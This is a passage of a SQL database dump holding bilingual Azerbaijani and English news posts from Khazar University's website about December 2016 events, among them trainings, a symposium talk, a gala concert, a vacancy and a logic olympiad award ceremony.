sertifikat verildi.</p>'),(2768,1652,'en','“Accessible Education- Accessible Future” Training at Khazar','On December 2-3, 2016, a training event called “Accessible Education- Accessible Future” was held with the support of the Youth Foundation of the President of the Azerbaijan Republic...','<p>On December 2-3, 2016, a training event called “Accessible Education-\r\nAccessible Future” was held with the support of the Youth Foundation of\r\nthe President of the Azerbaijan Republic, Y-PEER Azerbaijani network and Khazar\r\nUniversity’s Center for Students with Disabilities.</p>\r\n<p>The main goal of the training was to inform\r\nparticipants about inclusive education as well as correct pedagogical\r\napproaches for working with students with disabilities.</p>\r\n<p>Participants in the training included young people\r\naged 18-25 who are interested in being trainers or educators in the future, and\r\nwho want to learn more about new approaches and skills for working with\r\nchildren who have disabilities. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The training included various games and\r\nskits to help participants understand how people with disabilities feel and how\r\nto relate to them. At the end of the training, participants were given\r\ncertificates.<strong><em></em></strong></p>'),(2780,1659,'en','Khazar University Instructor Makes Presentation at International Symposium','On December 1-2, 2016, Ziyad Amrahov, Director of the Division of Armenian Studies in the Caucasian Studies Institute of the Azerbaijan National Academy of Sciences as well as...','<p>On December 1-2, 2016, Ziyad Amrahov, Director of the Division of Armenian Studies in the Caucasian Studies Institute of the Azerbaijan National Academy of Sciences as well as instructor for Khazar University Department of History and Archeology, gave a presentation in English on “Soviet plans about Black Sea Straits after World War II” at an international symposium on “the Middle East and Turkey 100 Years after the Sykes-Picot Secret Agreement” which was jointly organized by the Prime Ministry of the Republic of Turkey in Ankara’s Ataturk Research Center and Yildirim Beyazid University in Ankara.</p><p>After the lecture, Amrahov answered symposium participants’ questions.</p>'),(2781,1658,'en','Eurasia Hub Training Started at Khazar University','On December 5, 2016, Eurasia Extractive Industries Knowledge Hub commenced its training on “Legal and Fiscal Frameworks of Extractive Industries.”  The training included 27...','<p>On December 5, 2016, Eurasia Extractive Industries Knowledge Hub commenced its training on “Legal and Fiscal Frameworks of Extractive Industries.”&nbsp; The training included 27 participants from Azerbaijan, Kazakhstan, Kyrgyzstan, Mongolia, Tajikistan and Ukraine. The founder of Khazar University and Chairman of Board of Directors and Trustees, Prof. Hamlet Isaxanli, welcomed the guests. The Regional Deputy Director of Swiss Cooperation Office, Ms Simone Haeberli, followed his speech, welcoming the participants and wishing them fruitful learning processes at the training sessions.</p><p>Afterwards, Amir Shafaei, Senior Legal Expert from NRGI, New York, started the training course on “Legal Frameworks and License Allocation.”</p>'),(2782,1660,'az','Xəzər Universiteti Kamera orkestrinin qala konserti','2016-cı il dekabrın 3-də Müslüm Maqomayev adına Azərbaycan Dövlət Filharmoniyasında Azərbaycan Respulikası Mədəniyyət və Turizm Nazirliyi, TÜRKSOY, Xəzər Universiteti...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">2016-cı il dekabrın 3-də\r\nMüslüm Maqomayev adına Azərbaycan Dövlət Filharmoniyasında Azərbaycan\r\nRespulikası Mədəniyyət və Turizm Nazirliyi, TÜRKSOY, Xəzər Universiteti, Azərbaycan\r\nMüəlliflər Birliyinin birgə təşkillatçılığı və Xəzər Universitetinin Kamera orkestrinin\r\niştirakı ilə “Türkdilli dövlətlərin müstəqilliyinin 25-ci ildönümünə həsr\r\nedilmiş qala konsert” keçirildi. Konsertdə Xəzər Universitetinin rəhbərliyi və əməkdaşları,&nbsp;\r\nAzərbaycan, Qazaxıstan, Qırğızıstan, Özbəkistan, Türkmənistan, Tatarıstan, Başqırdıstan\r\nrespublikalarının bəstəkarları və musiqişünasları, Azərbaycanın millət vəkilləri,\r\nali təhsil ocaqlarının rəhbərləri, icra hakimiyyətlərinin rəhbər işçiləri,\r\nictimaiyyət nümayəndələri və media mınsubları iştirak edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Konsertin başlanğıcında Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı və Azərbaycan Milli Konservatoriyasının prorektoru,\r\nmusiqişünas, professor Lalə Hüseynova çıxış edərək, tədbirin türk xalqlarının\r\nmusiqi sənətinin nümayişi baxımından böyük əhəmiyyət daşıdığını vurğuladılar. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Konsertdə Üzeyir Hacıbəyli,\r\nQara Qarayev, Arif Məlikov, Xəyyam Mirzəzadə, Fərhad Bədəlbəyli, Samir Əliyev,\r\nKərəm Əkbər (Azərbaycan), Rəşid Kalımullın (Tatarıstan), Muradbəy Beqalıyev\r\n(Qırğızıstan), Turğay Erdener (Türkiyə), Balnur Kıdırbek, Yerulan Kanapyanov, Həbibulla\r\nSetekov (Qazaxıstan), Rövşən Nepesov (Türkmənistan) və Leyla İsmaqılovanın\r\n(Başqırdıstan) kamera instrumental əsərləri ifa olundu. Konsertdə, həmçinin, Sərdar\r\nFərəcovun Hamlet İsaxanlının sözlərinə bəstələdiyi iki vokal lövhə Azərbaycanın\r\nəməkdar artisti Fəridə Məmmədovanın ifasında səsləndi. Balnur Kıdırbek və Həbibulla\r\nSetekovun fortepiano və kamera orkesti üçün bəstələnmiş əsərləri pianoçu\r\nZülfiyyə Sadıqovanın ifasında səsləndi. Əsərləri ifa olunmuş xarici bəstəkarlar\r\nkonsertdə iştirak edirdilər.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Qeyd edək ki, beynəlxalq\r\nmiqyaslı tədbirlərdə çıxış etmək təcrübəsi olan Xəzər Universitetinin Kamera\r\norkestri universitetin&nbsp; Musiqi və İncəsənət departamentinin müdiri,\r\npianoçu, dosent Zülfiyyə Sadığovanın bədii rəhbərliyi ilə fəaliyyət göstərir,\r\norkestrin qala konsertinin dirijoru Cavad Tağızadə idi.</p>'),(2783,1660,'en','Khazar University Chamber Orchestra in Gala Concert','On December 3, 2016, a gala concert dedicated to the 25th anniversary of the independence of Turkic states was held at the Muslum Magomayev Azerbaijan State Philharmonic...','<p>On December 3, 2016, a gala concert dedicated to the\r\n25th anniversary of the independence of Turkic states was held at the Muslum\r\nMagomayev Azerbaijan State Philharmonic with the participation of Khazar\r\nUniversity’s Chamber Orchestra. The concert was jointly organized by the\r\nMinistry of Culture and Tourism of the Azerbaijan Republic, Turksoy, Khazar\r\nUniversity, and Azerbaijani Authors’ Society. Participants in the event\r\nincluded composers and music scholars from Azerbaijan, Russia (Tatarstan and\r\nBashkortostan), Kazakhstan, Kyrgyzstan, Uzbekistan, and Turkmenistan; Members\r\nof Parliament of Azerbaijan; administrators of higher education institutions;\r\nmembers of government executive bodies; the public and media representatives. </p>\r\n<p>At the beginning of the concert, Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, and Professor\r\nLala Huseynova, Vice Rector of Azerbaijan National Conservatory, made speeches\r\nabout the significance of this event as an exhibition of Turkic cultural music\r\ntraditions. </p>\r\n<p>The concert included\r\nperformances of pieces by composers such as Uzeyir Hajibeyli, Gara Garayev,\r\nArif Melikov, Khayyam Mirzazadeh, Farhad Badalbayli, Samir Aliyev, Kerem Ekber\r\n(Azerbaijan), Rashid Kalimullin (Tatarstan), Muradbey Begaliyev (Kyrgyzstan),\r\nTurgay Erdener (Turkey), Balnur Kidirbek, Yerulan Kanapyanov, Habibulla Setekov\r\n(Kazakhstan), Rovshan Nepesov (Turkmenistan), and Leyla Ismagilova\r\n(Bashkortostan). </p>\r\n<p>The concert also included\r\na performance by Azerbaijan’s Meritorious Artist Farida Mammadova of two pieces\r\ncomposed by Sardar Farajov based on poetry by Hamlet Isaxanli. Piano pieces\r\ncomposed by Balnur Kidirbek and Habibulla Setekov were also performed by\r\nZulfiyya Sadigova. The foreign composers whose works were performed in the\r\nconference were present in the audience. </p>\r\n<p>This international-scale\r\nmusical event was led by Associate Professor Zulfiyya\r\nSadigova, Head of the Department of Music and Fine Arts. The conductor of the\r\norchestra for this concert was Javad Taghizadeh.&nbsp;</p>'),(2784,1661,'az','Xəzər Universiteti birinci və ikinci kurs tələbələri Şirvanşahlar sarayında oldular','2016-cı ilin dekabrın 2-də Xəzər Universiteti Tarix və arxeologiya departamentinin tarix ixtisası üzrə təhsil alan tələbələrindən ibarət qrup Şirvanşahlar saray kompleksi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı ilin dekabrın\r\n2-də Xəzər Universiteti Tarix\r\nvə arxeologiya departamentinin tarix\r\nixtisası üzrə təhsil alan tələbələrindən ibarət qrup Şirvanşahlar saray kompleksi\r\nDövlət tarixi-memarlıq qoruq-muzeyində “Huawei” və “Bakcell” şirkətləri tərəfindən\r\ntəşkil olunmuş “Açıq qapı” günlərində tarixi abidədə ekskursiyada oldular. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Şirvanşahlar saray kompleksi\r\nilə tanışlıq və gəzinti Tarix və arxeologiya departamentinin müəllimi Orxan\r\nZamanov tərəfindən təşkil olunmuşdu.</p>'),(2785,1661,'en','Khazar University Students Visit Shirvanshahlar Palace','On December 2, 2016, a group of students from Khazar University’s Department of History and Archeology visited the Shirvanshahlar Palace State Historical/Archeological...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On December 2, 2016, a group of students\r\nfrom Khazar University’s Department of History and Archeology visited the\r\nShirvanshahlar Palace State Historical/Archeological Reserve as part of the\r\n“Open Door Days” sponsored by Huawei and Bakcell. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Their tour was led by Orkhan Zamanov,\r\ninstructor of the same department.&nbsp;</p>'),(2786,1662,'az','Karyera İnkişaf Mərkəzi BAMF ilə əməkdaşlıq edir','Xəzər Universiteti Karyera İnkişaf Mərkəzi Beynəlxalq Avrasiya Mətbuat Fondu ilə əməkdaşlıq edir. Bu əməkdaşlığın nəticəsi olaraq, növbəti yaz semestri ərzində beynəlxalq...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər Universiteti Karyera İnkişaf Mərkəzi Beynəlxalq\r\nAvrasiya Mətbuat Fondu ilə əməkdaşlıq edir. Bu əməkdaşlığın nəticəsi olaraq,\r\nnövbəti yaz semestri ərzində beynəlxalq münasibətlər, regionşünaslıq və siyasi\r\nelmlər ixtisaslarının 3-cü və 4-cü il tələbələri təcrübə proqramlarında və təlimlərdə\r\niştirak etmə şansı qazanacaqdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Məqsəd\r\nuniversitetin siyası elmlər üzrə təhsil alan tələbələrinin müəyyən təcrübə\r\nproqramlarında, xaricdə keçirilən konfranslarda iştirakını təmin etməkdir.</p>'),(2787,1663,'az','“Xəzər Xəbər” jurnalının oktyabr nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2016 - ci il oktyabr nömrəsi (355-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır....','<p>“Xəzər Xəbər” jurnalının 2016 - ci il oktyabr nömrəsi (355-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz:&nbsp;</p><p><a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org</a></p>'),(2788,1663,'en','Khazar Review Journal October Issue Published','The October issue of the Khazar Review journal (number 355) was published by Khazar University Press...','<p>The October issue of the Khazar Review journal (number 355) was published by Khazar University Press. The journal is available electronically at this link:</p><p><a href=\"http://khazar-review.khazar.org/\" target=\"_blank\">http://khazar-review.khazar.org/</a></p>'),(2789,1662,'en','Career Development Center Partners with BAMF','The Khazar University Career Development Center has a working partnership with the International Eurasian Press Foundation (BAMF). As a result of this partnership...','<p>The Khazar University Career Development Center has a working partnership with the International Eurasian Press Foundation (BAMF). As a result of this partnership, third- and fourth-year students majoring in International Relations, Regional Studies and Political Science will be given the chance to participate in internships and trainings in the next spring semester.</p><p>The objective is to provide for the participation of university students majoring in Political Science-related fields in certain internship programs and conferences abroad.</p>'),(2790,1664,'az','Təsisçi Lütfi Zadə məntiq olimpiadasının qaliblərinə mükafat təqdim etdi','2016-cı il dekabrın 6-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Nizami Kino Mərkəzində Bakı məktəblərinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil dekabrın 6-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı Nizami Kino Mərkəzində Bakı məktəblərinin\r\n5-6-cı sinif şagirdləri arasında keçirilmiş Lütfi Zadə məntiq olimpiadasının\r\nqaliblərinin mükafatlandırılma mərasimində iştirak etdi. O, məntiq elminin\r\ninkişaf tarixinə qısa nəzər saldı, Lütfizadənin həyat yolu&nbsp; və elmi fəaliyyəti\r\nhaqqında məlumat verdi, beş elm və sənət adamının, o cümlədən Lütfi Zadə və\r\nHamlet İsaxanlının qurduğu Avrasiya Akademiyası haqqında danışdı, şagirdlərə\r\nmedal və qalib diplomlarını təqdim etdi.&nbsp;</p>'),(2791,1664,'en','Hamlet Isaxanli Presents Awards to Winners of Lutfi Zadeh Logic Olympiad','On December 6, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, participated in an awards...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On December 6, 2016, Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, participated in an awards ceremony for winners of the\r\nLutfi Zadeh Logic Olympiad which was held in the Nizami Movie Theater for fifth\r\nand sixth grade students of Baku schools. He gave a brief overview of the\r\ndevelopment history of the science of logic, spoke about the life and\r\nactivities of Lutfi Zadeh, and gave information about the Eurasian Academy,\r\nwhich Hamlet Isaxanli and Lutfi Zadeh co-founded along with others. He\r\npresented medals and certificates to the winners of the Olympiad.&nbsp;</p>'),(2792,1665,'en','May','May',''),(2793,1665,'az','May','May',''),(2794,1666,'az','Iyun','Iyun',''),(2795,1666,'en','June','June',''),(2796,1667,'az','Iyul','Iyul',''),(2797,1667,'en','July','July',''),(2798,1669,'az','Xarici tələbələrimizin çəkildikləri multikulturalizmə aid videoçarxın təqdimatı olub','Xəbər verdiyimiz kimi, Əfqanıstan, Qambiya, İran, İraq, Pakistan, Fələstin, Türkiyə, Yəmən və Zimbabvedən olan 13 xarici tələbəmiz noyabrın 17-də Azərbaycan...','<p>Xəbər verdiyimiz kimi, Əfqanıstan, Qambiya, İran, İraq, Pakistan, Fələstin,\r\nTürkiyə, Yəmən və Zimbabvedən olan 13 xarici tələbəmiz noyabrın 17-də Azərbaycan\r\nRespublikasının Prezidenti yanında Gənclər Fondunun<strong> “Azərbaycan xalqının əvəzsiz sərvəti\r\n- multikulturalizm ənənələri” </strong>&nbsp;layihəsi çərçivəsində Azərbaycanda\r\nmultikulturalizm mövzusuna həsr olunan sosial reklamın çəkilişində iştirak\r\netmişdilər (<a href=\"http://www.khazar.org\">www.khazar.org</a> və&nbsp;“Xəzər Xəbər”jurnalı,\r\nnoyabr 2016-cı il)</p>\r\n<p>Dekabrın 1-də Beynəlxalq Mətbuat Mərkəzində“Biz fərqliyik, amma hamımız Azərbaycandayıq”\r\nadlı&nbsp; həmin videoçarxın təqdimatı keçirilmişdir.</p>\r\n<p>Layihənin müəllifi Cahangir Nəsirov bildirib ki,\r\nhazırlanan sosial çarxın çəkilişləri Xəzər Universitetində aparılıb. Çəkilişlərdə\r\n11 müxtəlif ölkədən olan tələbələr iştirak ediblər.<br>\r\nLayihənin məqsədi ilə bağlı məlumat verən layihə rəhbəri qeyd edib ki, milli məfkurəni,\r\ntarixə söykənən milli dəyərlərimizi qorumaq hər bir gəncin borcudur. Ölkəmizi\r\ndünyada digər xalqlardan fərqləndirən önəmli dəyərlərindən biri də\r\nmultikulturalizm ənənələrimizdir. Məqsədimiz gənclərimizi milli dəyərlərimizi\r\nqorumağa çağırmaq, ölkə rəhbərinin elan etdiyi “Multikulturalizm ili”nə gənclərin\r\nbir töhfə verməsinə nail olmaq, Azərbaycanın multikulturalizm istiqamətində\r\nböyük təcrübəsini bölüşmək və sairdir.<br>\r\nÇəkilişlərdə iştirak edən xarici tələbələr Azərbaycan haqqında sevgilərini,\r\nburda onlara göstərilən qardaşlıq münasibətindən söhbət açıblar.<br>\r\nTədbirdə çıxış edənlər gənclərin multikulturalizm dəyərlərinə göstərdiyi bu\r\ndiqqəti alqışladılar, təqdim olunan videoçarxın peşəkarlıqla hazırlandığını\r\nsöylədilər. Çəkilişlərdə iştirak edən xarici tələbələrin çıxışlarının öz dillərində\r\nolması videoçarxın daha maraqlı olmasına səbəb olub və bu xarici vətəndaşların\r\nda çarxı izləmələrinə zəmin yaradacaq.</p>\r\n<p><em>Tehsil-press</em> informasiya agentliyi tədbirdən xəbər vermişdir:<a href=\"http://tehsil-press.az/index.php?newsid=15424\">http://tehsil-press.az/index.php?newsid=15424</a></p><p><a href=\"http://tehsil-press.az/index.php?newsid=15424\"></a>Hazırlanmış videoçarx\r\nmediada yayımlanmışdır. Videonu bu linkdə izləmək olar:&nbsp;<a href=\"https://www.youtube.com/watch?v=75Wd2s9qTbA&amp;t=15s\">https://www.youtube.com/watch?v=75Wd2s9qTbA&amp;t=15s</a>.</p>'),(2799,1669,'en','Presentation of Video on Multiculturalism Featuring International Students of Khazar University ','As we previously reported, thirteen international students from countries like Afghanistan, Gambia, Iran, Iraq, Pakistan, Palestine, Turkey, Yemen and Zimbabwe appeared...','<p style=\"\" margin-top:12.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">As we previously reported, thirteen\r\ninternational students from countries like Afghanistan, Gambia, Iran, Iraq,\r\nPakistan, Palestine, Turkey, Yemen and Zimbabwe appeared in a social video\r\nabout multiculturalism within a project entitled “The Irreplaceable Resource of\r\nthe Azerbaijani People: Traditions of Multiculturalism” supported by the Youth\r\nFund under the President of the Republic of Azerbaijan in connection with the\r\nyear of multiculturalism (<a href=\"http://www.khazar.org\">www.khazar.org</a>\r\nand Khazar Review journal, November 2016). </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">On December 1<sup>st</sup>, a presentation\r\nof the video entitled “We are Different, but We are All Azerbaijani” was held\r\nat the International Press Center. </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The author of the project, Jahangir\r\nNasirov, noted that the taping of the social project took place at Khazar\r\nUniversity. Students from 11 different countries participated in the project.\r\nThe project manager gave information about the objective of the project, noting\r\nthat it is the duty of every young person to preserve our national values which\r\nstem from history and from our national mentality. One of the values that sets\r\nour country apart from other countries is the tradition of multiculturalism.\r\nOur goal is to call on young people to preserve our national values, to help\r\nyoung people make a contribution to the “Year of Multiculturalism” which was\r\nannounced by the president, and to share Azerbaijan’s great experience in the\r\narea of multiculturalism. </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Students participating in the filming\r\nexpressed their love for Azerbaijan and the brotherhood that they feel here. </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Participants in the presentation applauded\r\nthe young people’s attention to multicultural values, and they said that the\r\nfilm was produced very professionally. The international students participating\r\nin the filming spoke in their own languages, which made the film more\r\ninteresting and will create an opportunity for foreign citizens to watch the\r\nfilm as well. </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">News about the event was published by the\r\nEducation-Press information agency: </p>\r\n<p><a href=\"http://tehsil-press.az/index.php?newsid=15424\">http://tehsil-press.az/index.php?newsid=15424</a></p><p><a href=\"http://tehsil-press.az/index.php?newsid=15424\"></a>The prepared video\r\nwas also published on the media. The video is available at this link: <a href=\"https://www.youtube.com/watch?v=75Wd2s9qTbA&amp;t=15s\">https://www.youtube.com/watch?v=75Wd2s9qTbA&amp;t=15s</a>.</p>'),(2800,1668,'az','Avqust','Avqust',''),(2801,1668,'en','august','august',''),(2802,1670,'az','Sentyabr','Sentyabr',''),(2803,1670,'en','September','September',''),(2804,1671,'az','Oktyabr','Oktyabr',''),(2805,1671,'en','October','October',''),(2806,1672,'en','November','November',''),(2807,1672,'az','Noyabr','Noyabr',''),(2808,1673,'az','Dekabr','Dekabr',''),(2809,1673,'en','December','December',''),(2810,1674,'az','Yanvar','Yanvar',''),(2811,1674,'en','January','January',''),(2812,1675,'az','Mart','Mart',''),(2813,1675,'en','March','March',''),(2814,1676,'en','April','April',''),(2815,1676,'az','Aprel','Aprel',''),(2816,1677,'az','Fevral','Fevral',''),(2817,1677,'en','February','February',''),(2818,1678,'az','May','May',''),(2819,1678,'en','May','May',''),(2820,1679,'az','İyun','İyun',''),(2821,1679,'en','June','June',''),(2822,1680,'az','İyul','İyul',''),(2823,1680,'en','July','July',''),(2824,1681,'az','Avqust','Avqust',''),(2778,1658,'az','“Avrasiya Bilik Mərkəzi” adlı konfrans keçirildi','2016-cı il dekabrın 5-də Xəzər Universitetinin “Mərmər” zalında İqtisadiyyat və menecment fakültəsinin dekanı İnqilab Əhmədovun təşkil etdiyi “Avrasiya Bilik Mərkəzi” adlı...','<p>2016-cı il dekabrın 5-də Xəzər Universitetinin “Mərmər”\r\nzalında İqtisadiyyat və menecment fakültəsinin dekanı İnqilab Əhmədovun təşkil\r\netdiyi “Avrasiya Bilik Mərkəzi” adlı konfrans keçirildi. Konfransın məqsədi\r\niştirakçılarla Avrasiyanın neft və qaz ixrac edən ölkələrinin hüquq və maliyyə\r\nrejimlərini müzakirə etmək, onlarla bu mövzuda treninq keçmək idi. </p>\r\n<p>Tədbirdə Xəzər Universitetinin təsisçisi, Direktorlar\r\nvə Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, Avrasiya Regional direktoru\r\nQalib Əfəndiyev, NRGT-nin hüquq eksperti Amir Shafei və Qırğızıstan,\r\nMonqolustan, Ukrayna və s. ölkələrdən dəvət olunmuş qonaqlar iştirak edirdilər.</p>\r\n<p>Tədbiri İnqilab Əhmədov açaraq, iştirakçılara\r\nkonfransın məqsədi, xüsusi qonaqlar haqqında məlumat verdi. </p>\r\n<p>Sonra professor Hamlet İsaxanlı çıxış edərək, qonaqlara\r\nXəzər Universiteti, universitetin əməkdaşlıq etdiyi təşkilatlar, həyata\r\nkeçirdiyi tədbirlər haqqında qısa məlumat verdi. Daha sonra tədbir\r\niştirakçıları təmsil etdikləri ölkələrin neft və qaz sənayesi haqqında öz\r\nfikirlırini bölüşdülər. NRGT-nin hüquq eksperti Amir Shafeinin iştirakçılara\r\nneft və qaz hasilatının hüquqi əsasları ilə bağlı treninq keçdi.</p>'),(2779,1659,'az','Xəzər Universitetinin müəllimi beynəlxalq simpoziumda çıxış etdi','2016-cı il dekabrın 1-i və 2-də Azərbaycan Milli Elmlər Akademiyası Qafqazşünaslıq İnstitutunun Ermənişünaslıq şöbəsinin müdiri, Xəzər Universiteti Tarix və arxeologiya...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">2016-cı il dekabrın 1-i və 2-də Azərbaycan Milli Elmlər Akademiyası\r\nQafqazşünaslıq İnstitutunun Ermənişünaslıq şöbəsinin müdiri, Xəzər Universiteti\r\nTarix və arxeologiya departamentinin müəllimi t.ü.f.d. Ziyad Əmrahov Ankarada\r\nTürkiyə Cümhuriyyəti Başbakanlık Atatürk Araşdırma Mərkəzi ilə Ankara Yıldırım\r\nBəyazid Universitetinin birgə təşkil etdiyi “Sayks-Piko gizli andlaşmasının\r\n100-cü ilində Orta Şərq və Türkiyə” adlı beynəlxalq Simpoziumda “İkinci dünya\r\nmüharibəsindən sonra Qara dəniz boğazları ilə bağlı Sovet planları” (“<em>Soviet plans about Black Sea Straits after\r\nWorld War II</em>)” mövzusunda ingilis dilində məruzə etdi.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">Məruzəsinin sonunda Z.Əmrahov simpozium iştirakçılarının\r\nsuallarını cavablandırdı. &nbsp;</p>'),(2769,1653,'az','Təsisçi konfransda iştirak etdi','2016-cı il dekabrın 2-də Azərbaycan Respublikası Təhsil Nazirliyi Akkreditasiya və Nostrifikasiya İdarəsinin təşkilatçılığı ilə “Abşeron Marriot” otelində “Təhsilin keyfiyyətinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil dekabrın 2-də Azərbaycan Respublikası Təhsil Nazirliyi Akkreditasiya və\r\nNostrifikasiya İdarəsinin təşkilatçılığı ilə “Abşeron Marriot” otelində “Təhsilin\r\nkeyfiyyətinin təminatında akkreditasiyanın rolu” mövzusunda beynəlxalq konfrans\r\nkeçirilidi. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının\r\nsədri professor Hamlet İsaxanlı konfransın plenar sessiyasının spikerlərindən\r\nbiri idi. Təsisçi spikeri olduğu “Keyfiyyətin təminatında maraqlı tərəflərin\r\niştirakının gücləndirilməsi” adlı panelin həm də moderatoru idi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Konfransda\r\nXəzər Universitetindən Təhsil fakültəsinin dekanı Dr. Elza Səmədova, Keyfiyyətə\r\nNəzarət Mərkəzinin direktoru Lyudmila Sotova və Təhsil fakülətsinin müəllimi\r\nQoşqar Məhərrəmov da iştirak edirdilər.&nbsp;</p>'),(2770,1653,'en','Hamlet Isaxanli at Ministry of Education Conference','On December 2, 2016, the Ministry of Education of the Azerbaijan Republic held an international conference on “The Role of Accreditation in Quality Assurance in Education” at the...','<p>On December 2, 2016, the Ministry of Education of the\r\nAzerbaijan Republic held an international conference on “The Role of\r\nAccreditation in Quality Assurance in Education” at the Marriott Absheron\r\nHotel. Professor Hamlet Isaxanli, the founder of Khazar University and Chairman\r\nof its Board of Directors and Trustees, was one of the plenary speakers at the\r\nevent. He was also the moderator of the panel on “Strengthening the\r\nParticipation of Stakeholders in Quality Assurance,” in which he made a\r\npresentation. </p>\r\n<p>Dr. Elza Semedli, Dean of the School of Education; Lyudmila\r\nSotova, Director of the Quality Assurance Center; and Goshgar Maharramov,\r\ninstructor of the School of Education, also represented Khazar University at\r\nthe conference.&nbsp;</p>'),(2771,1654,'en','BP Representative Gives Guest Lecture','On December 2, 2016, Ehtiram Azizov, Head of the Production Engineering Department of BP, gave a guest lecture for Khazar University students about “Issues of the...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nDecember 2, 2016, Ehtiram Azizov, Head of the Production Engineering Department\r\nof BP, gave a guest lecture for Khazar University students about “Issues of the\r\nAzeri-Chiraq-Guneshli Field” with the support of the Society of Petroleum\r\nEngineers. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Participants\r\nin the lecture included Khazar University students; Associate Professor Gasham\r\nZeynalov, Head of the Department of Petroleum Engineering; and students of\r\nAzerbaijan State Oil and Industry University and Baku Higher Oil School. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The\r\nlecture was held in an interactive format. At the end, Azizov answered\r\nstudents’ questions.&nbsp;</p>'),(2777,1657,'az','Vakansiya:  Rektorun ofis assistenti','Xəzər Universitetində rektorun ofis assistenti vəzifəsinə işçi tələb olunur. Gündəlik işlər:  ofis işləri, sənədlərin idarə edilməsi, qonaqların qarşılaması, tədbirlər və görüşlərin...','<p>Xəzər Universitetində <strong>rektorun ofis assistenti</strong> vəzifəsinə işçi tələb olunur. Gündəlik işlər:&nbsp;\r\nofis işləri, sənədlərin idarə edilməsi, qonaqların qarşılaması, tədbirlər və\r\ngörüşlərin təşkil edilməsi, rektorluqla bağlı digər gündəlik işlərdən ibarətdir.</p>\r\n<p>Namizəd Azərbaycan və ingilis dillərdə sərbəst\r\ndanışmalıdır, rus dilini bilənə üstünlük verilir. Namizəd məsuliyytəli olmalı, işləri\r\nvaxtlı-vaxtında və peşəkarlıqla görməlidir. </p>\r\n<p>Maraqlananlar məktub və CV-ni <a href=\"mailto:contact@khazar.org-a\">contact@khazar.org-a</a> göndərsinlər (başlıqda “<em>Rector Assistant Application</em>” yazılsın).</p><p>Son müraciət\r\ntarixi <strong>2016-cı il dekabrın 15</strong>-dir.</p>'),(2774,1656,'az','“Xəzər”in əməkdaşları “TAIEX seminarı”nda iştirak etdilər','2016-cı il dekabrın 1-i və 2-də Avropa İttifaqı və Azərbaycan Respublikası Təhsil Nazirliyi arasında birgə əməkdaşlıq çərçivəsində Bolonya prosesinə uyğun ikili diplomlar...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2016-cı il dekabrın 1-i və 2-də Avropa İttifaqı və 